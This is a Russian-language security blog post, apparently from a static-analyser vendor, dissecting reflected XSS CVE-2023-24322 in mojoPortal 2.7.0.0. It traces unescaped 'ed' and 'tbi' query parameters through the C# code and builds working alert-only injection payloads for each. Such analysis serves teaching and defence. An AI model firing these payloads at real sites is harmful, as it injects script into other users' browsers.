﻿# Уязвимость XSS в приложении ASP\.NET: разбираем CVE\-2023\-24322 в CMS mojoPortal

В этой статье изучим с разных сторон уязвимость XSS в CMS, написанной на C\#\. Вспомним теорию, разберёмся, как дефект безопасности выглядит со стороны пользователя и кода, а также поупражняемся в составлении эксплойтов\. 

![1054_XSS_mojoPortal_ru/image1.png](https://import.viva64.com/docx/blog/1054_XSS_mojoPortal_ru/image1.png)

## Что такое cross\-site scripting \(XSS\)?

**Примечание**\. Можете пропустить этот раздел, если уже знакомы с основами XSS\. 

XSS \(cross\-site scripting\) — уязвимость веб\-приложений, связанная с внедрением кода на страницу, выдаваемую пользователю\. Если приложение уязвимо к XSS, злоумышленник может провести инъекцию JavaScript\-кода и похитить данные или выполнить другую вредоносную логику\. 

Самый простой пример XSS — использование данных из параметров или полей ввода без их проверки / экранирования\.

Допустим, есть JS\-скрипт, который извлекает из строки запроса значение параметра _name_ и приветствует пользователя на веб\-странице:

```cpp
<script>
  var urlParams = new URLSearchParams(window.location.search);
  var nameParam = urlParams.get("name");
  var name = nameParam ? nameParam : "stranger";

  document.write('<div>Hello '+ name + '!</div>');
</script>
```

Выполняем запрос вида _XSSExample\.html?name\=John_ и получаем ожидаемый ответ на странице — _"Hello John\!"_\.

Однако если вместо имени передать скрипт, он также будет встроен в тело документа и исполнен\. 

Пример запроса:

```cpp
XSSExample.html?name=<script>alert('Ooops, it looks insecure...')</script>
```

Результат: 

![1054_XSS_mojoPortal_ru/image2.png](https://import.viva64.com/docx/blog/1054_XSS_mojoPortal_ru/image2.png)

Нам удалось провести инъекцию кода\. Этот дефект безопасности называется отражённой XSS \(reflected XSS\)\. Внедряемый скрипт никуда не сохраняется, а цель злоумышленника — заставить жертву выполнить небезопасный запрос к странице \(например, кликнув по вредоносной ссылке\)\. Естественно, не для того, чтобы показать формочку — это просто типовая демонстрация наличия XSS\.

## Разбор XSS в CMS mojoPortal \(CVE\-2023\-24322\)

От теории и синтетики переходим к разбору конкретной XSS из Open Source проекта mojoPortal\. mojoPortal — это CMS, написанная на C\# с использованием ASP\.NET\. Код проекта [доступен на GitHub](https://github.com/i7MEDIA/mojoportal), а уязвимость, которую мы сегодня будем разбирать, обнаружена в версии [2\.7\.0\.0](https://github.com/i7MEDIA/mojoportal/tree/v2.7.0.0)\. 

Рассматриваемая XSS\-уязвимость имеет идентификатор [CVE\-2023\-24322](https://nvd.nist.gov/vuln/detail/CVE-2023-24322): _A reflected cross\-site scripting \(XSS\) vulnerability in the FileDialog\.aspx component of mojoPortal v2\.7\.0\.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the ed and tbi parameters\._

Из описания достаём несколько важных фактов:

* уязвимость находится на странице FileDialog\.aspx;
* эксплуатировать дефект безопасности можно через параметры запроса _ed_ и _tbi_\.

Что первым делом приходит в голову при попытке проверить XSS? Наверное, передать через уязвимый параметр данные вида _<script\>alert\(0\)</script\>_\. :\)

Попробуем записать эту строку в оба параметра и посмотрим, что произойдёт\. 

Запись в параметр _ed_ не приводит к видимым результатам:

![1054_XSS_mojoPortal_ru/image3.png](https://import.viva64.com/docx/blog/1054_XSS_mojoPortal_ru/image3.png)

А вот если ту же строку передать через параметр _tbi_, то содержимое страницы изменится интересным образом:

![1054_XSS_mojoPortal_ru/image4.png](https://import.viva64.com/docx/blog/1054_XSS_mojoPortal_ru/image4.png)

Однако это всё равно не то, чего мы ожидали — всплывающего окошка \(результат вызова _alert_\) не появилось\. 

Чтобы лучше разобраться в происходящем и составить эксплойты, заглянем в исходный код и посмотрим, как используются значения параметров запроса\.

### Общая логика

Посмотрим на код и попробуем понять, что объединяет параметры _ed_ и _tbi_, после чего проанализируем обработку каждого из них\. 

Начнём с метода, который обрабатывает событие загрузки страницы _FileDialog\.aspx_ — _Page\_Load_:

```cpp
protected void Page_Load(object sender, EventArgs e)
{
  LoadSettings();
  if (fileSystem == null) { return; }
  PopulateLabels();
  SetupScripts();
}
```

В первую очередь нас интересует логика метода _LoadSettings_ — в нём значения параметров _ed_ и _tbi_ записываются в поля _editorType_ и _clientTextBoxId_ соответственно\.

```cpp
public partial class FileDialog : Page
{
  private string editorType = string.Empty;
  private string clientTextBoxId = string.Empty;
  ....

  private void LoadSettings()
  {
    ....
    if (Request.QueryString["ed"] != null)
    {
      editorType = Request.QueryString["ed"];
    }
    ....
    if (Request.QueryString["tbi"] != null)
    {
      clientTextBoxId = Request.QueryString["tbi"];
    }
    ....
  }
  ....
}
```

Возвращаемся в _Page\_Load_:

```cpp
protected void Page_Load(object sender, EventArgs e)
{
  LoadSettings();
  if (fileSystem == null) { return; }
  PopulateLabels();
  SetupScripts();
}
```

Проверка _fileSystem \=\= null_ даёт _false_, а метод _PopulateLabels_ для нас не интересен\. Так что посмотрим на тело _SetupScripts_:

```cpp
private void SetupScripts()
{
  SetupMainScript();
  SetupjQueryFileTreeScript();
  SetupClearFileInputScript();
}
```

Здесь нас интересуют 2 метода: _SetupMainScript_ и _SetupjQueryFileTreeScript_\. Немного позже вы поймёте, почему\. 

Начнём с метода _SetupMainScript_:

```cpp
private void SetupMainScript()
{
  switch (editorType)
  {
    case "tmc":
      SetupTinyMce();
      break;

    case "ck":
      SetupCKeditor();
      break;

    case "fck":
      SetupFCKeditor();
      break;

    default:
      SetupDefaultScript();
      break;
  }
}
```

Ага, _switch_ по знакомому полю — _editorType_ \(параметр _ed_\)\. Меняя значение параметра, мы влияем на логику исполнения кода\. Сейчас нас интересует _default_\-секция и вызов метода _SetupDefaultScript_:

```cpp
//this is used by /Controls/FileBrowserTextBoxExtender.cs
private void SetupDefaultScript()
{
  btnSubmit.Attributes.Add("onclick", "fbSubmit(); return false; ");

  StringBuilder script = new StringBuilder();
  script.Append("\n<script type=\"text/javascript\">");
  script.Append("function fbSubmit () {");

  if(browserType == "folder")
  {
    script.Append(
        "var URL = document.getElementById('" 
      + hdnFolder.ClientID 
      + "').value; ");
  }
  else
  {
    script.Append(
        "var URL = document.getElementById('" 
      + hdnFileUrl.ClientID 
      + "').value; ");
  }
            
  //script.Append("alert(URL);");

  script.Append("top.window.SetUrl(URL, '" + clientTextBoxId + "');");
  //script.Append("window.close();");
  //script.Append("window.opener.focus();");

  script.Append("}");
  script.Append("\n</script>");

  this.Page
      .ClientScript
      .RegisterClientScriptBlock(typeof(Page),
                                 "fbsubmit",
                                 script.ToString());
}
```

Интересно\. Метод постепенно записывает JavaScript\-код в переменную _script_, после чего регистрирует полученный скрипт через вызов метода _RegisterClientScriptBlock_\. При этом в скрипт подставляется и значение поля _clientTextBoxId_, соответствующее параметру _tbi_\.

Похожая история происходит и в методе _SetupjQueryFileTreeScript_, который я упоминал ранее\. Метод также формирует и регистрирует скрипт, используя значение поля _editorType_ \(соответствует параметру _ed_\)\.  

Ниже привожу сокращённое тело метода _SetupjQueryFileTreeScript_, так как он достаточно объёмный\. Код целиком можно посмотреть по [ссылке](https://github.com/i7MEDIA/mojoportal/blob/f666ba3a66c5d0bdcf3b78bc51de3a6503629129/Web/Dialog/FileDialog.aspx.cs#L864)\. 

```cpp
private void SetupjQueryFileTreeScript()
{
  ....
  StringBuilder script = new StringBuilder();
  script.Append("\n<script type=\"text/javascript\">");
  ....
  script.Append(
      "var returnUrl = encodeURIComponent('" 
    + navigationRoot 
    + "/Dialog/FileDialog.aspx?ed=" 
    + editorType 
    + "&type=" 
    + browserType 
    + "&dir=' + selDir) ; ");
  ....
  script.Append("\n</script>");

  this.Page
      .ClientScript
      .RegisterStartupScript(
        typeof(Page),
        "jqftinstance",
        script.ToString());
}
```

Давайте повторим ещё раз, так как это важный момент\. 

Оба рассмотренных метода — _SetupDefaultScript_ и _SetupjQueryFileTreeScript_ — имеют структуру общего вида и используют значения параметров HTTP\-запроса _tbi_ и _ed_ для составления скрипта\. 

В обобщённом \(и упрощённом\) виде код методов выглядит так:

```cpp
void SetupScript()
{
  StringBuilder script = new StringBuilder();
  script.Append("\n<script type=\"text/javascript\">");
  script.Append(....);
  // tbi and ed values are appended to the script
  ....
  script.Append("\n</script>");
  this.Page
      .RegisterScript(typeof(Page),
                      ....,
                      script.ToString());
}
```

Наша задача — попробовать "сломать" скрипт, записываемый в переменную _script_\. Если всё удастся, мы изменим логику генерируемого скрипта и увидим результат инъекции кода\. 

Так как скрипты отличаются по структуре и вложенности, эксплойты тоже будут разными\. Рассмотрим каждый из них по отдельности\.

**Примечание о форматировании скриптов**\. В статье я отформатировал JS\-скрипты для удобства чтения\. На самом деле они записываются в 2 строки: открывающий тег и тело скрипта на первой строке и закрывающий тег на второй:

```cpp
<script type="text/javascript">function fbSubmit () { .... }
</script>
```

[Здесь](https://gist.github.com/VasilievSerg/27d677a75841bc9c7d2510ca7b77622b) можно посмотреть на этот же скрипт без сокращений с оригинальным форматированием\. 

Помните про эту особенность, так как она влияет на эксплойт\.  

### Эксплойт с использованием параметра tbi

Скрипт с использованием параметра _tbi_ выглядит попроще — с него и начнём\. 

Выполним запрос следующего вида: _http://localhost:56987/Dialog/FileDialog\.aspx/?tbi\=TestPayload_

Тогда JS\-код, который генерируется в методе _SetupDefaultScript_, может выглядеть так:

```cpp
<script type = "text/javascript">
  function fbSubmit() {
    var URL = document.getElementById('hdnFileUrl').value;
    top.window.SetUrl(URL, 'TestPayload');
  }
</script>
```

Обратите внимание на второй аргумент метода _SetUrl_: именно туда попали наши данные, будучи обёрнутыми в кавычки\. 

Наша задача — попробовать составить такой запрос, который "сломает" скрипт и даст возможность выполнить инъекцию кода\. Для этого эксплойт должен решить ряд задач:

* "закрыть" второй аргумент функции _SetUrl_;
* "закрыть" вызов функции _SetUrl_;
* выйти за пределы тела функции _fbSubmit_;
* провести инъекцию кода;
* закомментировать оставшийся кусок изначального кода \(тот код, который закрывает шаблон подстановки\)\.

Все поставленные задачи должна решить строка следующего вида:

```cpp
TestPayload');}alert('You have been hacked via XSS');//
```

Разберём, за что отвечают её части:

* _TestPayload'_ "закрывает" аргумент функции;
* _\);_ "закрывает" вызов функции _SetUrl_;
* _\}_ "закрывает" тело функции _fbSubmit_;
* _alert\('You have been hacked via XSS'\);_ — основная логика инъекции;
* // — комментирует часть исходного шаблона, которая осталась после подстановки — _'\);\}_\.

Теперь проверим наше предположение\. Для этого выполним такой запрос: _http://localhost:56987/Dialog/FileDialog\.aspx/?tbi\=TestPayload'\);\}alert\('You have been hacked via XSS'\);//_ 

Получаем ожидаемый результат:

![1054_XSS_mojoPortal_ru/image5.png](https://import.viva64.com/docx/blog/1054_XSS_mojoPortal_ru/image5.png)

Давайте посмотрим, как стал выглядеть генерируемый JS\-код при таком запросе:

```cpp
<script type = "text/javascript">
  function fbSubmit() { 
    var URL = document.getElementById('hdnFileUrl').value;   
    top.window.SetUrl(URL, 'TestPayload'); 
  } 
  alert('You have been hacked via XSS'); //');} 
</script>
```

Как видно, эксплойт решил все поставленные задачи: с его помощью мы смогли выйти за рамки функции и успешно внедрить код\. 

Что ж, здорово\! Мы поняли, как можно использовать параметр _tbi_, чтобы эксплуатировать XSS\-уязвимость\. Теперь переходим ко второму уязвимому параметру — _ed_\.

### Эксплойт с использованием параметра ed

Принцип составления эксплойта для параметра _ed_ аналогичен _tbi_\.

Напомню, что интересующий нас JS\-код, в который подставляется значение параметра _ed_, генерируется в методе [_SetupjQueryFileTreeScript_](https://github.com/i7MEDIA/mojoportal/blob/f666ba3a66c5d0bdcf3b78bc51de3a6503629129/Web/Dialog/FileDialog.aspx.cs#LL864C22-L864C47)_\._ 

Выполним запрос следующего вида:_ http://localhost:56987/Dialog/FileDialog\.aspx/?ed\=TestPayload_

Теперь посмотрим на то, какой скрипт будет сгенерирован\. Код целиком можно посмотреть [здесь](https://gist.github.com/VasilievSerg/86d8d5fb90d3dd8c25f7edb94c4d5429), ниже привожу сокращённый вариант:

```cpp
<script type="text/javascript"> 
  ....
  $(document).ready(function () {
    ....
    $('#pnlFileTree').fileTree({
      ....
    }, function (file) {
      ....
      var returnUrl = encodeURIComponent(
        'http://localhost:56987/Dialog
           /FileDialog.aspx?ed=TestPayload&type=image&dir='
      + selDir);
      ....
    }, function (folder) {
      ....
    });
  });
  ....
</script>
```

Обратите внимание, что значение параметра _ed_ — строка _TestPayload_ — попала внутрь литерала\.

Перед нами стоит задача, аналогичная той, что была в предыдущем случае\. Нужно подобрать такие данные, которые помогли бы выйти за пределы аргумента функции _encodeURIComponent_ и выполнить инъекцию кода\.

Эксплойт так же, как и в прошлый раз, должен решать несколько задач:

* "закрыть" аргумент функции _encodeURIComponent_;
* "закрыть" вызовы и тела функций;
* внедрить код;
* закомментировать "хвост" шаблона, который останется после внедрения логики\.

Под все требования подходит строка следующего вида: 

```cpp
TestPayload');});});alert('You have been hacked via XSS');//
```

Смысл её составляющих уже должен быть понятен:

* _TestPayload'_ "закрывает" аргумент функции _encodeURIComponent_;
* _\);_ "закрывает" вызов функции _encodeURIComponent_;
* _\}\);\}\);_ используется для того, чтобы закрыть тела внешних функций;
* _alert\('You have been hacked via XSS'\);_ — основная логика инъекции кода;
* _//_ служит для комментирования части исходного скрипта, которая осталась после подстановки\.

Выполняем запрос следующего вида: 

_http://localhost:56987/Dialog/FileDialog\.aspx/?ed\=TestPayload'\);\}\);\}\);alert\('You have been hacked via XSS'\);//_

Смотрим на результат:

![1054_XSS_mojoPortal_ru/image6.png](https://import.viva64.com/docx/blog/1054_XSS_mojoPortal_ru/image6.png)

На выходе получили точно то, что ожидали\.

С указанным выше значением параметра сгенерированный JS\-код принял такой вид \(сокращённая версия, полная — [здесь](https://gist.github.com/VasilievSerg/f5021ce7238bbd94c70ade57ff75d6d6)\):

```cpp
<script type = "text/javascript">
  ....
  $(document).ready(function () {
    ....
    $('#pnlFileTree').fileTree({
      ....
    }, function (file) {
      ....
      var returnUrl = encodeURIComponent(
        'http://localhost:56987/Dialog/FileDialog.aspx?ed=TestPayload');
    });
  });
  alert('You have been hacked via XSS'); //&type=image&dir=' + selDir ....
</script>
```

Всё сработало так, как мы и ожидали: мы смогли выйти из тел функции и внедрить собственный код\. Обратите внимание на то, как данные из нашего запроса встроились в скрипт и изменили его логику:

![1054_XSS_mojoPortal_ru/image7.png](https://import.viva64.com/docx/blog/1054_XSS_mojoPortal_ru/image7.png)

### Как исправили код?

В текущей версии проекта файла _FileDialog\.aspx\.cs_, который и содержал уязвимости, нет\. Предположу, что код переписали или попросту убрали\.

## Заключение

Мы разобрали, как XSS может выглядеть на практике\. Просуммируем основные моменты — пригодится, если захотите повозиться с этой уязвимостью самостоятельно:

* CVE\-ID: [CVE\-2023\-24322](https://nvd.nist.gov/vuln/detail/CVE-2023-24322)
* проект: [mojoPortal v2\.7\.0\.0](https://github.com/i7MEDIA/mojoportal/tree/v2.7.0.0)
* суть уязвимости: возможность выполнить XSS на странице _/Dialog/FileDialog\.aspx_ при использовании параметров _ed_ и _tbi_
* возможный эксплойт для _ed_: _TestPayload'\);\}\);\}\);alert\('You have been hacked via XSS'\);//_
* возможный эксплойт для _tbi_: _TestPayload'\);\}alert\('You have been hacked via XSS'\);//_

Если эта статья понравилась, и хочется почитать ещё что\-нибудь на тему безопасности, предлагаю полистать [блог](https://pvs-studio.ru/ru/blog/posts/?tag=Security)\. 

Если хотите проверить код своего проекта на дефекты безопасности \(XSS, SQLi, XXE и т\. п\.\), проанализируйте его с помощью [PVS\-Studio](https://pvs-studio.ru/ru/pvs-studio/)\.